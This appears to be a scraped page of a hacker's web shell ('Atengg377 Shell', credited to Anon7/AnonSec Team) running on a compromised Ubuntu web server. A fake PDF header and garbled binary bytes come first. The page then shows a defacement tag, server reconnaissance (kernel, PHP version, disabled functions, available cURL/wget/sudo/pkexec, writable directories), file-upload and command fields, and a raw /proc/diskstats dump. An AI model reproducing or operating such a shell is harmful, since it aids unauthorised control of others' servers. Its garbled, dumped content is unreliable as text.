%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Atengg377 Was Here
Atengg377 Shell
Server IP : 127.0.1.1  /  Your IP : 216.73.217.76
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3609073/root/proc/thread-self/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3609073/root/proc/thread-self/root/proc/self/root/proc/diskstats
   7       0 loop0 78800 0 991306 5195 0 0 0 0 0 147328 5195 0 0 0 0 0 0
   7       1 loop1 27543 0 1292920 3108 0 0 0 0 0 74072 3108 0 0 0 0 0 0
   7       2 loop2 71610 0 1473206 4957 0 0 0 0 0 148644 4957 0 0 0 0 0 0
   7       3 loop3 14852 0 1082596 1772 0 0 0 0 0 48712 1772 0 0 0 0 0 0
   7       4 loop4 72937 0 1060324 4940 0 0 0 0 0 135320 4940 0 0 0 0 0 0
   7       5 loop5 23481 0 1644078 2922 0 0 0 0 0 79868 2922 0 0 0 0 0 0
   7       6 loop6 80538 0 1450686 6362 0 0 0 0 0 160180 6362 0 0 0 0 0 0
   7       7 loop7 63446 0 1147202 4254 0 0 0 0 0 125492 4254 0 0 0 0 0 0
 252       0 vda 4479183 307286 132716021 3172418 93582968 31896149 1979650428 126311912 0 63607232 131339130 476800 0 3768447448 49178 11342661 1805620
 252       1 vda1 4463304 251155 132090787 3169700 93582816 31895367 1979624696 126311593 0 63583416 129530452 476704 0 3758786200 49157 0 0
 252      14 vda14 449 0 4468 45 0 0 0 0 0 280 45 0 0 0 0 0 0
 252      15 vda15 1043 56131 75928 555 140 774 25628 316 0 952 892 96 0 9661248 20 0 0
 252      16 vdb 4122 0 1890 386 0 0 0 0 0 15792 386 0 0 0 0 0 0
   7       8 loop8 5004 0 344980 621 0 0 0 0 0 17208 621 0 0 0 0 0 0
   7       9 loop9 10 0 20 0 0 0 0 0 0 4 0 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team